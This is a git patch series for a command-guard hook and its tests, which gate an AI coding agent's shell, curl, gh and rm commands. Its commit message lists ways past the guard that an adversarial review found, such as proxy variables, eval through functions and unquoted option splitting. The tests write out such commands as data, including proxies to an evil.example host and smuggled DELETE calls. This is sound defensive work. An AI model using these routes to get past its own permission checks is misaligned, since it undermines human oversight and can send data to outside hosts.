pytest -q "$@"; }; t tests/a.py && t tests/b.py', id="local functions"), - pytest.param( - 'c(){ msg="$1"; shift; git add -- "$@" && git commit -q -m "$msg"; }; c \'fix: x\' a.py', - id="functions with positional parameters", - ), + pytest.param("t(){ printf '%s\\n' \"$@\" | sort; }; t b a", id="functions forwarding to local tools"), pytest.param("herdr pane list", id="Herdr reads"), pytest.param( "herdr worktree create --cwd /repo --branch feat/lane-a --base origin/main --label 'lane a' --no-focus", @@ -157,6 +154,25 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi pytest.param("herdr worktree open --cwd /repo --path /w --trust-repository", [], id="Herdr open with trust"), pytest.param("herdr worktree list --trust-repository", [], id="Herdr list with trust"), pytest.param("f(){ gh pr review 42 --approve; }; f", [], id="inside a function body"), + pytest.param( + "f(){ x=$*; gh api $x; }; f -X DELETE repos/o/r/issues/1", [], id="functions forwarding through a variable" + ), + pytest.param( + 'c(){ msg="$1"; shift; git add -- "$@" && git commit -q -m "$msg"; }; c \'fix: x\' a.py', + [], + id="functions that run git", + ), + pytest.param("f(){ gh pr list; }; f", [], id="functions that run even a listed gh form"), + pytest.param( + 't(){ uv run --frozen pytest -q "$@"; }; t tests/a.py', + [], + id="functions that run a program with deny forms", + ), + pytest.param("f(){ rm a.txt; }; f", [], id="functions that remove files"), + pytest.param("f(){ herdr pane list; }; f", [], id="functions that drive herdr"), + pytest.param("f(){ find . -name x; }; f", [], id="functions that run a program a forbidden rule names"), + pytest.param('f(){ "$@"; }; f ls', [], id="functions that run a run-time program"), + pytest.param("f(){ curl http://localhost:3000/; }; f", [], id="functions that make requests"), pytest.param("curl '-d' @f https://example.com/", [], id="send options in single quotes"), pytest.param('curl "-d" @f https://example.com/', [], id="send options in double quotes"), pytest.param("curl \\-d @f https://example.com/", [], id="send options escaped"), @@ -245,6 +261,12 @@ def test_commit_messages_inline_through_a_quoted_heredoc_pass() -> None: id="a wget debug flag beside a post and a remote URL", ), pytest.param("wget --post-data x=1 http://localhost:3000/", id="wget posts to this machine"), + pytest.param("curl -L http://localhost:3000/", id="local requests that follow redirects"), + pytest.param("curl -sSL http://localhost:3000/", id="redirects in a flag cluster"), + pytest.param("curl --location http://127.0.0.1:8080/", id="the long redirect option"), + pytest.param("curl --location-trusted http://localhost/", id="trusted redirects"), + pytest.param("wget -q -O- http://localhost:3000/", id="wget, which follows redirects by default"), + pytest.param("wget --max-redirect=3 http://localhost:3000/", id="wget with redirects allowed"), ], ) def test_remote_requests_ask_and_point_to_safer_tools(capsys: pytest.CaptureFixture[str], command: str) -> None: diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index a79148d..0f14aa1 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -1,4 +1,4 @@ -"""rm passes only where a temporary directory or Git can account for what it removes.""" +"""rm passes only where every target is a literal path inside a temporary directory.""" import os from pathlib import Path @@ -44,18 +44,16 @@ def decide(kind: str, command: str, cwd: Path | None = None) -> str: [ pytest.param("rm {tmp}/a.txt", id="a file in the temporary directory"), pytest.param("rm -f {scratch}/session/a.txt {tmp}/b.txt", id="files in the scratchpad"), - pytest.param("rm tracked.txt", id="a tracked file without changes"), - pytest.param("rm -f -- tracked.txt sub/nested.txt", id="several tracked files without changes"), - pytest.param("/bin/rm tracked.txt", id="rm invoked by path"), + pytest.param("/bin/rm -- {tmp}/a.txt", id="rm invoked by path"), pytest.param("rm -rf {tmp}/build", id="a tree in the temporary directory"), pytest.param("rm -r -- {scratch}/a {tmp}/b", id="trees in both temporary roots"), pytest.param("rm -fR {tmp}/a/../b", id="a normalized path that stays inside"), pytest.param("ls {tmp} && rm -f {tmp}/a.txt; echo done", id="beside commands that only read"), - pytest.param("command rm tracked.txt", id="behind a wrapper"), + pytest.param("command rm {tmp}/a.txt", id="behind a wrapper"), ], ) @pytest.mark.parametrize("kind", ["allowed", "forbidden"]) -def test_removals_a_temporary_root_or_git_can_account_for_pass(project: Path, kind: str, command: str) -> None: +def test_removals_inside_a_temporary_root_pass(project: Path, kind: str, command: str) -> None: command = command.format(tmp=project / "tmp", scratch=project / "scratch") assert decide(kind, command) == "allow" @@ -63,6 +61,10 @@ def test_removals_a_temporary_root_or_git_can_account_for_pass(project: Path, ki @pytest.mark.parametrize( "command", [ + pytest.param("rm tracked.txt", id="a tracked file without changes, which git rm handles"), + pytest.param("rm -f -- tracked.txt sub/nested.txt", id="several tracked files without changes"), + pytest.param("/bin/rm tracked.txt", id="a tracked file by path"), + pytest.param("command rm tracked.txt", id="a tracked file behind a wrapper"), pytest.param("rm modified.txt", id="a tracked file with unstaged changes"), pytest.param("rm staged.txt", id="a tracked file with staged changes"), pytest.param("rm untracked.txt", id="an untracked file"), @@ -92,9 +94,12 @@ def test_removals_a_temporary_root_or_git_can_account_for_pass(project: Path, ki pytest.param("rm '[t]racked.txt'", id="a quoted glob that Git would match against a tracked file"), pytest.param("rm ':(top)tracked.txt'", id="pathspec magic"), pytest.param("rm 'tracked*.txt'", id="a quoted wildcard"), + pytest.param("rg --pre ./mk x {tmp}; rm {tmp}/a.txt", id="a search that runs a preprocessor"), + pytest.param("/usr/bin/time -o {tmp}/a.txt ls; rm {tmp}/a.txt", id="a wrapper that writes a file"), + pytest.param("rm ~/a.txt $HOME/b.txt", id="home directory paths"), ], ) -def test_removals_neither_can_account_for_ask(project: Path, git_project: Path, command: str) -> None: +def test_removals_outside_a_temporary_root_ask(project: Path, git_project: Path, command: str) -> None: command = command.format(tmp=project / "tmp", project=git_project) assert decide("allowed", command) == "ask" assert decide("forbidden", command) == "allow" @@ -123,8 +128,15 @@ def test_recursive_removals_outside_the_temporary_roots_stay_denied(project: Pat def test_relative_targets_resolve_against_the_session_directory(project: Path, git_project: Path) -> None: - assert decide("allowed", "rm nested.txt", cwd=git_project / "sub") == "allow" - assert decide("allowed", "rm nested.txt", cwd=git_project) == "ask" + assert decide("allowed", "rm nested.txt", cwd=project / "tmp/sub") == "allow" + assert decide("allowed", "rm nested.txt", cwd=git_project / "sub") == "ask" + + +def test_a_reassigned_home_cannot_vouch_for_a_target( + project: Path, git_project: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + monkeypatch.setenv("HOME", str(git_project)) + assert decide("allowed", f"HOME={git_project.parent}; rm ~/tracked.txt") == "ask" def test_a_symlink_out_of_the_temporary_directory_does_not_count_as_temporary( @@ -160,24 +172,14 @@ def test_a_clean_filter_cannot_hide_uncommitted_content(project: Path, git_proje assert decide("allowed", "rm tracked.txt") == "ask" -@pytest.fixture -def other_project(tmp_path_factory: pytest.TempPathFactory) -> Path: - """A second repository whose same.txt is untracked, beside the session project where it is tracked.""" - other = tmp_path_factory.mktemp("other-project") - git(other, "init", "--quiet", "-b", "main") - (other / "same.txt").write_text("unsaved") - return other - - @pytest.mark.parametrize("relative", [False, True], ids=["absolute workdir", "relative workdir"]) -def test_relative_targets_resolve_against_the_tool_workdir( - project: Path, git_project: Path, other_project: Path, relative: bool -) -> None: - (git_project / "same.txt").write_text("before") - git(git_project, "add", "same.txt") - git(git_project, "commit", "--quiet", "-m", "same") - workdir = os.path.relpath(other_project, git_project) if relative else str(other_project) - payload = {"tool_input": {"command": "rm same.txt", "workdir": workdir}, "cwd": str(git_project)} +def test_relative_targets_resolve_against_the_tool_workdir(project: Path, git_project: Path, relative: bool) -> None: + temporary = project / "tmp" + for directory in (temporary, git_project): + (directory / "same.txt").write_text("same name") + workdir = os.path.relpath(git_project, temporary) if relative else str(git_project) + payload = {"tool_input": {"command": "rm same.txt", "workdir": workdir}, "cwd": str(temporary)} assert guard.decide("allowed", payload).decision == "ask" - swapped = {"tool_input": {"command": "rm same.txt", "workdir": str(git_project)}, "cwd": str(other_project)} + workdir = os.path.relpath(temporary, git_project) if relative else str(temporary) + swapped = {"tool_input": {"command": "rm same.txt", "workdir": workdir}, "cwd": str(git_project)} assert guard.decide("allowed", swapped).decision == "allow" From c142ca662cb587b13f5f0ae8f1d4a3383ebc09c8 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 16:28:25 +0900 Subject: [PATCH 11/25] fix(agents): shrink the relaxations to what the hook can prove An eighth adversarial review of #242 found five more holes: brace expansion in rm paths, builtin eval, source, and trap inside functions, unquoted variables splitting into gh api and herdr options, proxy settings sending a local-looking request elsewhere, and a wget redirect limit taken from another option's value. Keep only what is clearly safe: - function definitions ask again, as on main, and the code that judged function bodies is gone - curl and wget return to main's local-server rule, with request_policy removed; remote requests keep the new ask reason, and a command that mentions a proxy or another configuration file asks - rm asks when a target holds an unquoted glob or brace character - a word that may split into several, such as an unquoted expansion, substitution, glob, or brace expansion, asks when it reaches gh, curl, wget, or herdr Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 76 +++---- agents/hooks/lib/command_policy.py | 10 - agents/hooks/lib/removal_policy.py | 11 +- agents/hooks/lib/request_policy.py | 203 ------------------- agents/hooks/lib/shell_syntax.py | 39 ++-- agents/hooks/rules/allowed_commands.json | 11 + pyproject.toml | 1 - tests/agents/hooks/test_allowed_command.py | 38 +++- tests/agents/hooks/test_command_policy.py | 4 +- tests/agents/hooks/test_forbidden_command.py | 14 +- tests/agents/hooks/test_guard_git.py | 2 +- tests/agents/hooks/test_removal_command.py | 6 +- 12 files changed, 127 insertions(+), 288 deletions(-) delete mode 100644 agents/hooks/lib/request_policy.py diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 49bad31..7ec8502 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -10,6 +10,7 @@ import json import os from pathlib import Path +import re import sys @@ -22,10 +23,18 @@ import hook_decision from hook_decision import Verdict import removal_policy -import request_policy import shell_syntax +REQUEST_PROGRAMS = frozenset({"curl", "wget"}) +REMOTE_REASON = ( + "Needs review: remote curl/wget can send local data. Read web pages with the web-fetch tool, " + "or use gh api / nix store prefetch-file for exact values and files." +) +# Settings that can send a request to a local server somewhere else: a proxy, or another configuration file. +REQUEST_SETTINGS = re.compile(r"proxy|curlrc|wgetrc|curl_home|(^|[^a-z0-9_])(home|xdg_config_home)=", re.IGNORECASE) + + @dataclass(frozen=True, slots=True) class Policy: """Generated permission prefixes beside the regex rules of one guard kind.""" @@ -77,14 +86,6 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: preview = shell_syntax.command_preview(item.raw) if kind == "forbidden": return forbidden_objection(item, candidate, policy) - if item.in_function and (item.program_is_dynamic or runs_sensitive_program(candidate, policy)): - return hook_decision.ask( - f"Needs review: a function body runs {candidate.arguments[0]}, whose calls cannot be judged form by form." - f"\n\nCommand: {preview}", - "function", - ) - if not candidate.program_is_dynamic and candidate.arguments[0] in request_policy.PROGRAMS: - return request_objection(candidate, preview) return governed_objection(candidate, policy, preview) @@ -107,7 +108,8 @@ def governed_objection(candidate: shell_syntax.Command, policy: Policy, preview: """Review only programs whose effects reach past the sandbox; the sandbox confines every other form. A run-time word counts as a plain placeholder, so it passes only where any value would, and a - command that can hide an option from the rules, or takes more arguments from xargs, asks. + command that can hide an option from the rules, or takes more arguments from xargs, asks: a + quoted option, or a word that may split into several, such as an unquoted expansion. """ prefixes, rules = policy.prefixes, policy.rules if candidate.program_is_dynamic or candidate.arguments[0] not in command_policy.governed_programs(rules): @@ -120,26 +122,20 @@ def governed_objection(candidate: shell_syntax.Command, policy: Policy, preview: ): return hook_decision.ALLOW prefix = " ".join(governed["prefix"]) + if candidate.arguments[0] in REQUEST_PROGRAMS: + return hook_decision.ask(f"{REMOTE_REASON}\n\nCommand: {preview}", prefix) return hook_decision.ask( f"Needs review: command not in allowlist. '{prefix}' is approved, but not in this form.\n\nCommand: {preview}", prefix, ) -def runs_sensitive_program(candidate: shell_syntax.Command, policy: Policy) -> bool: - sensitive = command_policy.sensitive_programs(policy.prefixes, policy.rules) | request_policy.PROGRAMS.keys() - return candidate.arguments[0] in sensitive - - -def request_objection(candidate: shell_syntax.Command, preview: str) -> Verdict: - """Pass a curl or wget call whose decoded, literal arguments stay on this machine; ask for any other.""" - if ( - not candidate.appends_input - and not candidate.has_dynamic_words - and request_policy.is_local(candidate.arguments) - ): +def settings_objection(command: str, commands: tuple[shell_syntax.Command, ...]) -> Verdict: + """Ask when a curl or wget call shares its command with settings that could send it elsewhere.""" + requests = any(command_policy.canonical(item).arguments[0] in REQUEST_PROGRAMS for item in commands) + if not requests or not REQUEST_SETTINGS.search(command): return hook_decision.ALLOW - return hook_decision.ask(f"{request_policy.REMOTE_REASON}\n\nCommand: {preview}", candidate.arguments[0]) + return hook_decision.ask(f"{REMOTE_REASON}\n\nCommand: {shell_syntax.command_preview(command)}", "settings") def removal_objection(kind: str, item: shell_syntax.Command, workspace: removal_policy.Workspace) -> Verdict: @@ -165,19 +161,7 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: if not isinstance(payload, dict): raise ValueError("failed to parse tool input JSON: expected an object") command = payload.get("tool_input", {}).get("command") or "" - try: - commands = shell_syntax.parse(command) - except shell_syntax.UnsupportedSyntax as error: - preview = shell_syntax.command_preview(command) - verdict = hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") - else: - workspace = removal_policy.workspace(payload, commands) - verdicts = ( - verdict - for item in commands - for verdict in (objection(kind, item, policy), removal_objection(kind, item, workspace)) - ) - verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) + verdict = command_verdict(kind, payload, policy) except (ValueError, TypeError, AttributeError, OSError) as error: prefix = "forbidden command: " if kind == "forbidden" else "" verdict = hook_decision.deny(f"BLOCKED: {prefix}{error}\n\n{hook_decision.REVIEW_HINT}") @@ -185,6 +169,26 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: return verdict +def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: + """The first objection any segment raises, then whether the command's settings could redirect a request.""" + command = payload.get("tool_input", {}).get("command") or "" + try: + commands = shell_syntax.parse(command) + except shell_syntax.UnsupportedSyntax as error: + preview = shell_syntax.command_preview(command) + return hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") + workspace = removal_policy.workspace(payload, commands) + verdicts = ( + verdict + for item in commands + for verdict in (objection(kind, item, policy), removal_objection(kind, item, workspace)) + ) + verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) + if kind == "allowed" and verdict.decision == "allow": + return settings_objection(command, commands) + return verdict + + def record(verdict: Verdict, attempt: Attempt) -> None: if verdict.decision == "allow": return diff --git a/agents/hooks/lib/command_policy.py b/agents/hooks/lib/command_policy.py index a2e4760..d4356f6 100644 --- a/agents/hooks/lib/command_policy.py +++ b/agents/hooks/lib/command_policy.py @@ -11,10 +11,6 @@ import shell_syntax -# Programs the forbidden patterns, the Git guard, or rm's own policy judge beyond the prefix rules. -GUARDED_PROGRAMS = frozenset({"eval", "find", "git", "python", "python3", "rm", "xargs", *shell_syntax.SHELLS}) - - def regex_matches(pattern: str, value: str, insensitive: bool = False) -> bool: """Use the existing system regex engine instead of silently changing regex dialects.""" return any_regex_matches((pattern,), value, insensitive) @@ -83,12 +79,6 @@ def governed_programs(rules: list[dict]) -> frozenset[str]: return frozenset(program for rule in rules for program in rule.get("programs", ())) -def sensitive_programs(prefixes: list[dict], rules: list[dict]) -> frozenset[str]: - """Programs a function body may not run unreviewed: governed or guarded ones, or any an ask or deny prefix names.""" - named = {rule["prefix"][0] for rule in prefixes if rule["decision"] != "allow"} - return governed_programs(rules) | GUARDED_PROGRAMS | named - - def project_file(name: str) -> Path | None: """Locate optional project policy using its owning Git root.""" start = os.environ.get("AGENT_PROJECT_DIR", os.environ.get("CLAUDE_PROJECT_DIR", os.getcwd())) diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index 7912afc..50a989a 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -3,6 +3,7 @@ from dataclasses import dataclass import os from pathlib import Path +import re import shell_syntax @@ -19,6 +20,9 @@ {"--dir", "--force", "--interactive", "--one-file-system", "--preserve-root", "--recursive", "--verbose"} ) DIRECTORY_CHANGES = frozenset({"cd", "pushd", "popd"}) +# Characters that glob or brace expansion reads when unquoted, so the shell may choose another path. +EXPANDING_CHARACTERS = frozenset("{}*?[]") +QUOTED_TEXT = re.compile(r"'[^']*'|\"(?:[^\"\\]|\\.)*\"|\\.") # Commands that only read, so beside them an rm target stays as the hook sees it. rg is absent since # its --pre runs a program, and time since its -o writes a file. READERS = frozenset({"[", "cat", "echo", "false", "grep", "head", "ls", "printf", "pwd", "tail", "test", "true", "wc"}) @@ -66,7 +70,7 @@ def removal(command: shell_syntax.Command, workspace: Workspace) -> Removal | No hidden = command.appends_input options_ended = False for word, source, dynamic in zip(command.arguments[1:], command.words[1:], command.dynamic[1:], strict=True): - if dynamic or source.startswith("~") or "$" in source: + if dynamic or source.startswith("~") or "$" in source or expands(source): hidden = True elif options_ended or word == "-" or not word.startswith("-"): operands.append(word) @@ -121,6 +125,11 @@ def is_inert(command: shell_syntax.Command) -> bool: return name == "rm" or name in INERT_WRAPPERS or name in READERS +def expands(source: str) -> bool: + """Whether a word's unquoted text holds a glob or brace character.""" + return bool(EXPANDING_CHARACTERS & set(QUOTED_TEXT.sub("", source))) + + def is_option(word: str) -> bool: if word.startswith("--"): return word in LONG_FLAGS or word.startswith("--interactive=") diff --git a/agents/hooks/lib/request_policy.py b/agents/hooks/lib/request_policy.py deleted file mode 100644 index a594a3f..0000000 --- a/agents/hooks/lib/request_policy.py +++ /dev/null @@ -1,203 +0,0 @@ -"""Judge curl and wget on their decoded arguments: only requests that stay on this machine pass. - -A remote request can send local data however its options read, through another scheme, a default -configuration file, or input the guard cannot see, so every remote request asks. -""" - -from collections.abc import Callable, Iterator -from dataclasses import dataclass -import re - - -REMOTE_REASON = ( - "Needs review: remote curl/wget can send local data. Read web pages with the web-fetch tool, " - "or use gh api / nix store prefetch-file for exact values and files." -) -LOCAL_URL = re.compile(r"https?://(localhost|127\.0\.0\.1)(:[0-9]+)?([/?#].*)?") -ValueRule = Callable[[str], bool] - - -def any_value(_: str) -> bool: - return True - - -def header_value(value: str) -> bool: - """A header given inline; curl reads one starting with @ from a file or standard input.""" - return not value.startswith("@") - - -@dataclass(frozen=True, slots=True) -class Options: - """The options one program may use toward this machine: flags, and options whose value a rule judges. - - Each program has its own table, since a letter can be a flag to one and take a value in the other. - - `attached_long` allows `--name=value`, which wget accepts and curl does not. - """ - - flags: frozenset[str] - valued: dict[str, ValueRule] - attached_long: bool - - -CURL = Options( - flags=frozenset( - { - # -L and --location are absent: a local server could redirect the request elsewhere. - *(f"-{letter}" for letter in "#0146IJNORSZfgiklsv"), - "--compressed", - "--create-dirs", - "--fail", - "--fail-with-body", - "--get", - "--globoff", - "--head", - "--http1.1", - "--http2", - "--include", - "--insecure", - "--ipv4", - "--ipv6", - "--no-buffer", - "--no-progress-meter", - "--progress-bar", - "--remote-header-name", - "--remote-name", - "--remote-name-all", - "--retry-all-errors", - "--retry-connrefused", - "--show-error", - "--silent", - "--verbose", - } - ), - valued={ - **dict.fromkeys(("-H", "--header"), header_value), - # Toward this machine, curl may also choose a method and send data. - **dict.fromkeys(("-X", "--request", "-d", "--data", "--data-raw", "--data-binary", "--json"), any_value), - **dict.fromkeys( - ( - "-A", - "-D", - "-e", - "-m", - "-o", - "-r", - "-w", - "-z", - "--connect-timeout", - "--dump-header", - "--limit-rate", - "--max-filesize", - "--max-time", - "--output", - "--output-dir", - "--range", - "--referer", - "--retry", - "--retry-delay", - "--retry-max-time", - "--user-agent", - "--write-out", - ), - any_value, - ), - }, - attached_long=False, -) -WGET = Options( - flags=frozenset( - { - *(f"-{letter}" for letter in "NSckqv"), - "-nc", - "-nd", - "-nH", - "-nv", - "--continue", - "--no-check-certificate", - "--no-verbose", - "--quiet", - "--server-response", - "--spider", - "--timestamping", - } - ), - valued={ - **dict.fromkeys(("--header",), header_value), - **dict.fromkeys( - ( - "-O", - "-P", - "-T", - "-U", - "-t", - "--directory-prefix", - "--max-redirect", - "--output-document", - "--timeout", - "--tries", - "--user-agent", - ), - any_value, - ), - }, - attached_long=True, -) -PROGRAMS: dict[str, Options] = {"curl": CURL, "wget": WGET} - - -def is_local(arguments: tuple[str, ...]) -> bool: - """Whether a literal curl or wget call talks only to an HTTP server on this machine, with listed options. - - wget follows redirects unless told not to, so it must say --max-redirect=0. - """ - if arguments[0] == "wget" and not disables_redirects(arguments[1:]): - return False - urls = operands(arguments[1:], PROGRAMS[arguments[0]]) - return bool(urls) and all(LOCAL_URL.fullmatch(url) for url in urls) - - -def disables_redirects(arguments: tuple[str, ...]) -> bool: - pairs = zip(arguments, (*arguments[1:], ""), strict=True) - return any(word == "--max-redirect=0" or (word, value) == ("--max-redirect", "0") for word, value in pairs) - - -def operands(arguments: tuple[str, ...], options: Options) -> tuple[str, ...] | None: - """The URLs when every option is listed with an acceptable value, else None.""" - urls: list[str] = [] - words = iter(arguments) - for word in words: - if word == "--": - urls.extend(words) - elif word == "-" or not word.startswith("-"): - urls.append(word) - elif not accepts(word, words, options): - return None - return tuple(urls) - - -def accepts(word: str, words: Iterator[str], options: Options) -> bool: - """Consume one option, and its value if it takes one, reporting whether it is allowed.""" - if word in options.flags: - return True - if word.startswith("--"): - name, separator, value = word.partition("=") - if separator: - return options.attached_long and name in options.valued and options.valued[name](value) - value = next(words, None) - return word in options.valued and value is not None and options.valued[word](value) - return accepts_cluster(word, words, options) - - -def accepts_cluster(word: str, words: Iterator[str], options: Options) -> bool: - """Read combined short options such as -sSo, where the last letter may take the next word as its value.""" - for index, letter in enumerate(word[1:], 1): - option = f"-{letter}" - if option in options.flags: - continue - rule = options.valued.get(option) - if rule is None: - return False - value = word[index + 1 :] or next(words, None) - return value is not None and rule(value) - return True diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index 18c33f4..e74aa07 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -18,7 +18,7 @@ { None, *( - "File CallExpr BinaryCmd Subshell Block TimeClause DeclClause FuncDecl " + "File CallExpr BinaryCmd Subshell Block TimeClause DeclClause " "Word Lit SglQuoted DblQuoted ParamExp CmdSubst ProcSubst " "ArithmExp ArithmCmd BinaryArithm UnaryArithm ParenArithm " "ForClause WordIter CStyleLoop WhileClause IfClause CaseClause CaseItem " @@ -39,8 +39,13 @@ COMMAND_LOOKUP = frozenset({"-v", "-V"}) ASSIGNMENT = re.compile(r"[A-Za-z_][A-Za-z0-9_]*=") # All positional parameters, any single one (a digit), and every array element ([@] or [*]) can -# become any number of words, options included. +# become any number of words, options included, even inside double quotes. SPREADING = frozenset({"@", "*"}) +# Parts that the shell splits into words, or expands into several, when they stand outside quotes. +SPLIT_PARTS = frozenset({"ParamExp", "CmdSubst", "ProcSubst", "ArithmExp"}) +# A bracket opens a glob only when a closing bracket follows, so the test command `[` stays literal. +GLOB = re.compile(r"(? None: if not self.words: @@ -187,13 +190,6 @@ def parse(source: str, depth: int = 0) -> tuple[Command, ...]: raise UnsupportedSyntax("dynamic or unsupported shell syntax requires explicit review") data = source.encode() enclosing = enclosing_writes(records, data) - function_calls = { - id(node) - for declaration in records - if declaration.get("Type") == "FuncDecl" - for node in nodes(declaration.get("Body")) - if node.get("Type") == "CallExpr" - } commands: list[Command] = [] for node in records: if node.get("Type") != "CallExpr" or not node.get("Args"): @@ -204,7 +200,6 @@ def parse(source: str, depth: int = 0) -> tuple[Command, ...]: command, wrapper_depth=depth, writes=command.writes + enclosing.get(id(node), ()), - in_function=id(node) in function_calls, ) commands.append(command) commands.extend(unwrapped(command)) @@ -338,7 +333,14 @@ def literal_word(word: dict, source: bytes) -> tuple[str, bool]: def spreads(word: dict) -> bool: - """Whether a word expands positional parameters or array elements outside any substitution.""" + """Whether a word may become several words: an unquoted expansion, substitution, glob, or brace + expansion, or a positional parameter or array expansion even in quotes.""" + for part in word.get("Parts", []): + if part.get("Type") in SPLIT_PARTS: + return True + value = part.get("Value", "") if part.get("Type") == "Lit" else "" + if GLOB.search(value) or BRACE_EXPANSION.search(value): + return True for part in word_nodes(word): if part.get("Type") != "ParamExp": continue @@ -369,11 +371,8 @@ def is_home_parameter(part: dict) -> bool: def is_literal_text(value: str, *, first: bool) -> bool: - """Unquoted globs expand at run time, and so does a leading tilde unless it names the home directory. - - A bracket opens a glob only when a closing bracket follows, so the test command `[` stays literal. - """ - if re.search(r"(?&1 | head -5", id="GitHub forms in pipelines"), pytest.param("curl -fsS http://localhost:3000/health", id="local server requests"), - pytest.param("curl -s -o out.json -H 'Accept: x' http://127.0.0.1:8080/api", id="local server downloads"), - pytest.param("wget --max-redirect=0 -q -O- http://localhost:3000/", id="local wget without redirects"), + pytest.param("curl -s -H 'Accept: x' -o out.json http://127.0.0.1:8080/api", id="local server downloads"), pytest.param("curl -X POST -d '{\"a\": 1}' http://127.0.0.1:8080/api", id="local server writes"), pytest.param( 'gh api -H "Accept: application/vnd.github.raw" "repos/o/r/contents/a.nix?ref=v1" | sed -n 1,20p', @@ -90,13 +91,12 @@ pytest.param( "herdr worktree open --cwd /repo --branch feat/x --label x --no-focus", id="Herdr worktree opens" ), - pytest.param("t(){ printf '%s\\n' \"$@\" | sort; }; t b a", id="functions forwarding to local tools"), pytest.param("herdr pane list", id="Herdr reads"), pytest.param( "herdr worktree create --cwd /repo --branch feat/lane-a --base origin/main --label 'lane a' --no-focus", id="Herdr task worktrees", ), - pytest.param("herdr pane split --pane w1:p2 --direction right --cwd $W --no-focus", id="Herdr panes"), + pytest.param('herdr pane split --pane w1:p2 --direction right --cwd "$W" --no-focus', id="Herdr panes"), pytest.param("herdr agent start lane-a --kind claude --pane w1:p2", id="Herdr Claude agents"), pytest.param("herdr agent start lane-b --pane w1:p3 --kind codex --timeout 60000", id="Herdr Codex agents"), pytest.param( @@ -154,6 +154,19 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi pytest.param("herdr worktree open --cwd /repo --path /w --trust-repository", [], id="Herdr open with trust"), pytest.param("herdr worktree list --trust-repository", [], id="Herdr list with trust"), pytest.param("f(){ gh pr review 42 --approve; }; f", [], id="inside a function body"), + pytest.param("t(){ printf '%s\\n' \"$@\" | sort; }; t b a", [], id="any function definition"), + pytest.param('f(){ builtin eval "$1"; }; f "gh pr merge 1"', [], id="functions that eval through builtin"), + pytest.param('f(){ trap "$1" EXIT; }; f "gh pr merge 1"', [], id="functions that set a trap"), + pytest.param("f(){ . ./script.sh; }; f", [], id="functions that source a script"), + pytest.param( + "x='repos/o/r/issues/1 -X DELETE'; gh api $x", [], id="unquoted variables that split into options" + ), + pytest.param("gh pr view $NUMBER --json state", [], id="unquoted run-time words in listed GitHub forms"), + pytest.param("gh api repos/furedea/$r/alerts", [], id="unquoted expansions inside an endpoint"), + pytest.param("gh pr view $(cat number.txt)", [], id="unquoted command substitutions"), + pytest.param("gh api repos/o/r/contents/*", [], id="unquoted globs"), + pytest.param("herdr worktree open --cwd $W", [], id="unquoted words in Herdr options"), + pytest.param("herdr pane split --pane w1:p2 --cwd $W --no-focus", [], id="unquoted words in Herdr panes"), pytest.param( "f(){ x=$*; gh api $x; }; f -X DELETE repos/o/r/issues/1", [], id="functions forwarding through a variable" ), @@ -261,8 +274,17 @@ def test_commit_messages_inline_through_a_quoted_heredoc_pass() -> None: id="a wget debug flag beside a post and a remote URL", ), pytest.param("wget --post-data x=1 http://localhost:3000/", id="wget posts to this machine"), - pytest.param("curl -L http://localhost:3000/", id="local requests that follow redirects"), - pytest.param("curl -sSL http://localhost:3000/", id="redirects in a flag cluster"), + pytest.param("http_proxy=http://evil.example:8080 curl http://localhost:3000/", id="a proxy for one request"), + pytest.param( + "export ALL_PROXY=socks5://evil.example:1080; curl -fsS http://localhost:3000/", id="an exported proxy" + ), + pytest.param("env HTTPS_PROXY=http://evil.example curl http://127.0.0.1/", id="a proxy through env"), + pytest.param("CURL_HOME=./cfg curl http://localhost:3000/", id="another curl configuration"), + pytest.param("HOME=./cfg wget http://localhost:3000/", id="another home for configuration files"), + pytest.param( + "wget -O --max-redirect=0 http://localhost/", id="a redirect limit taken as another option's value" + ), + pytest.param("wget --max-redirect=0 --max-redirect=5 http://localhost/", id="an overridden redirect limit"), pytest.param("curl --location http://127.0.0.1:8080/", id="the long redirect option"), pytest.param("curl --location-trusted http://localhost/", id="trusted redirects"), pytest.param("wget -q -O- http://localhost:3000/", id="wget, which follows redirects by default"), diff --git a/tests/agents/hooks/test_command_policy.py b/tests/agents/hooks/test_command_policy.py index abf992a..425207c 100644 --- a/tests/agents/hooks/test_command_policy.py +++ b/tests/agents/hooks/test_command_policy.py @@ -75,9 +75,7 @@ def test_empty_pattern_lists_never_match() -> None: def test_only_programs_that_reach_past_the_sandbox_are_governed() -> None: rules = policy.load_rules(ALLOWED_RULES) - requests = set(guard.request_policy.PROGRAMS) - assert policy.governed_programs(rules) | requests == {"gh", "curl", "wget", "herdr"} - assert policy.governed_programs(rules).isdisjoint(requests) + assert policy.governed_programs(rules) == {"gh", "curl", "wget", "herdr"} def test_an_invalid_program_list_is_rejected(tmp_path: Path) -> None: diff --git a/tests/agents/hooks/test_forbidden_command.py b/tests/agents/hooks/test_forbidden_command.py index 253ed50..2ebcd1b 100644 --- a/tests/agents/hooks/test_forbidden_command.py +++ b/tests/agents/hooks/test_forbidden_command.py @@ -136,7 +136,16 @@ def test_global_prefix_rejects_home_manager_activation(capsys: pytest.CaptureFix @pytest.mark.parametrize("kind", 